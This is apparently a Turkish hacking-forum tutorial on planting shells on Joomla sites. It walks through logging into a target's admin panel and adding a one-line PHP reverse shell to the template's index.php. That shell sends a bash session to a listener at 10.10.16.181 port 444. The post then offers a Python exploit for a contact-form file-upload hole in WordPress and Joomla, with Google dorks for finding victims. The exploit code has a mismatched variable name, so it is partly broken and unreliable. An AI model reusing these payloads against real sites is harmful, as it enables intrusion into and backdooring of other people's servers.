Hepinize selamlar arkadaşlar. Bugünkü konumuzda joomla siteye shell atmayı ve temel mantığı anlatacağım. Shell atmanın pek çok yöntemi mevcut. Bu konuda da bunların tamamını öğrenebileceksiniz.
Öncelikle Joomla Nedir?
Joomla, web siteleri ve online uygulamalar oluşturmak için tasarlanmış, ödüllü ve açık kaynak kodlu bir CMS’tir (İçerik Yönetim Sistemi).
Metin, görsel, pdf, video ve ses dosyası gibi her tür dökümanı internet erişimi olan her yerden, dilediğiniz anda, hiç bir teknik beceri gerektirmeden yayınlamanızı sağlar.
PHP ile yazılmıştır ve içeriğinizin depolanması için MySQL veritabanını kullanmaktadır.
Ücretsiz bir yazılım olan Joomla’nın en büyük rakibi WordPress’tir. Dünya çapında tüm web sitelerinin %3’ünden fazlası Joomla ile oluşturulmuştur.
Şimdi konumuza geçelim;
Bulduğumuz ve bilgilerini edindiğimiz joomla sitemize /administrator/ kısmından giriş yapıyoruz. Login paneli genellikle bu adreste yer almaktadır.
Girişimizi yaptıktan sonra bizi böyle bir ekran karşılıyor.
Bir hata olduğunu söylüyor ancak işlem yapmamıza bir engel değil.
Üstteki açılır menümüzden sırasıyla extensions > templates > templates tıklıyoruz.
Karşımıza bir sürü hedef sitemize ait dizinler çıkmaktadır. Bu dizinlerden index.php dizinine giderek editleme yapabiliriz.
Bu dizine kendi shell kodlarımızı yükleyerek shellimizi atabiliriz. Dizin olarak index.php örnek olarak verdim istediğiniz dizine shell atabilirsiniz.
Ancak biz burda bir ters kabuk başlatacağız.
Devam edelim.
Ters kabuğumuzu başlatmak için PHP dosyalarından birini düzenlememiz ve ardından bu şablonu kaydedip çalıştırmamız gerekir. Dizini düzenleyeceğiz index.php. Ters kabuk kodunu index.php dosyasına ekleyin ve netcat dinleyicinizi başlatın.
Kodumuz;
PHP:
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.181/444 0>&1' ");
?>Yeşil renkli 'Kaydet' düğmesini tıklayın. Kabuk şimdi başlayabilir, ancak başlamazsa, 'Şablon Önizlemesi'ni tıklayın.
Ve şimdi Joomla'da ters bir kabuğumuz var. Gördüğümüz gibi, hem WordPress hem de Joomla, ters kabuk elde etmek için temelde aynı yönteme sahiptir. Bu örneklerin her ikisi de tek satırlı bir ters kabuk kullanıyordu, ancak pentestmonkey ayrıca PHP için burada bulunabilecek daha karmaşık ve belki de daha iyi bir ters kabuk aracına sahiptir.
Bu sayede istenilen zararlı yazılım ve sheller enjekte edilebilir veya yüklenebilir.
Ters kabuk yöntemini yapmak zorunda değilsiniz ancak oldukça yararlı ve bir o kadar da etkili bir yöntem olduğu için anlatmak istedim.
Normal methodlarda ise index.php dizinine veya istenilen dizine gidilir ve shell kodları yüklenip kaydedilir.
Ardından shell üzerinden istenilen işlemler gerçekleştirilebilir.
Hem Wordpress Hem de Joomla Siteler İçin Otomatik Olarak Shell Atan Exploiti'de Sizlere Vereyim
Dileyenler Kullanabilirler Mutlaka Faydasını Görürsünüz
Python:
#!/usr/bin/python
#
# Exploit Name: Wordpress and Joomla Creative Contact Form Shell Upload Vulnerability
# Wordpress plugin version: <= 0.9.7
# Joomla extension version: <= 2.0.0
#
# Vulnerability discovered by Ghost Killer
#
# Exploit written by Ghost Killer
#
# Dork google wordpress: inurl:inurl:ghost-contact-form
# Dork google joomla : inurl:com_creativecontactform
#
# Tested on BackBox 3.x
#
# http connection
import urllib, urllib2, sys, mimetypes
# Args management
import optparse
# file management
import os, os.path
# Check url
def checkurl(url):
if url[:8] != "https://" and url[:7] != "http://":
print('[X] You must insert http:// or https:// procotol')
sys.exit(1)
else:
return url
# Check if file exists and has readable
def checkfile(file):
if not os.path.isfile(file) and not os.access(file, os.R_OK):
print '[X] '+file+' file is missing or not readable'
sys.exit(1)
else:
return file
# Get file's mimetype
def get_content_type(filename):
return mimetypes.guess_type(filename)[0] or 'application/octet-stream'
# Create multipart header
def create_body_sh3ll_upl04d(payloadname):
getfields = dict()
payloadcontent = open(payloadname).read()
LIMIT = '----------lImIt_of_THE_fIle_eW_$'
CRLF = '\r\n'
L = []
for (key, value) in getfields.items():
L.append('--' + LIMIT)
L.append('Content-Disposition: form-data; name="%s"' % key)
L.append('')
L.append(value)
L.append('--' + LIMIT)
L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % ('files[]', payloadname))
L.append('Content-Type: %s' % get_content_type(payloadname))
L.append('')
L.append(payloadcontent)
L.append('--' + LIMIT + '--')
L.append('')
body = CRLF.join(L)
return body
banner = """
`---'
Cr3ative C0nt4ct Form Sh3ll Upl04d
Discovered by:
Ghost Killer - Anka Red Team
Written by:
Ghost Killer - Anka Red Team
https://www.TurkHackTeam.ORG
[email protected]
https://www.TurkHackTeam.ORG
"""
commandList = optparse.OptionParser('usage: %prog -t URL -c CMS-f FILENAME.PHP [--timeout sec]')
commandList.add_option('-t', '--target', action="store",
help="Insert TARGET URL: http[s]://www.victim.com[:PORT]",
)
commandList.add_option('-c', '--cms', action="store",
help="Insert CMS Type: wordpress|joomla",
)
commandList.add_option('-f', '--file', action="store",
help="Insert file name, ex: shell.php",
)
commandList.add_option('--timeout', action="store", default=10, type="int",
help="[Timeout Value] - Default 10",
)
options, remainder = commandList.parse_args()
# Check args
if not options.target or not options.file or not options.cms:
print(banner)
commandList.print_help()
sys.exit(1)
payloadname = checkfile(options.file)
host = checkurl(options.target)
timeout = options.timeout
cmstype = options.cms
print(banner)
if options.cms == "wordpress":
url_sexy_upload = host+'/wp-content/plugins/ghost-contact-form/includes/fileupload/index.php'
backdoor_location = host+'/wp-content/plugins/ghost-contact-form/includes/fileupload/files/'
elif options.cms == "joomla":
url_sexy_upload = host+'/components/com_creativecontactform/fileupload/index.php'
backdoor_location = host+'/components/com_creativecontactform/fileupload/files/'
else:
print("[X] -c options require: 'wordpress' or 'joomla'")
sys.exit(1)
content_type = 'multipart/form-data; boundary=----------lImIt_of_THE_fIle_eW_$'
bodyupload = create_body_sh3ll_upl04d(payloadname)
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
'content-type': content_type,
'content-length': str(len(bodyupload)) }
try:
req = urllib2.Request(url_ghost_upload, bodyupload, headers)
response = urllib2.urlopen(req)
if "error" in response.read():
print("[X] Upload Failed :(")
else:
print("[!] Shell Uploaded")
print("[!] "+backdoor_location+options.file)
except urllib2.HTTPError as e:
print("[X] Http Error: "+str(e.code))
except urllib2.URLError as e:
print("[X] Connection Error: "+str(e.code))
Okuduğunuz için teşekkürler. Başka bir konuda görüşmek dileğiyle...
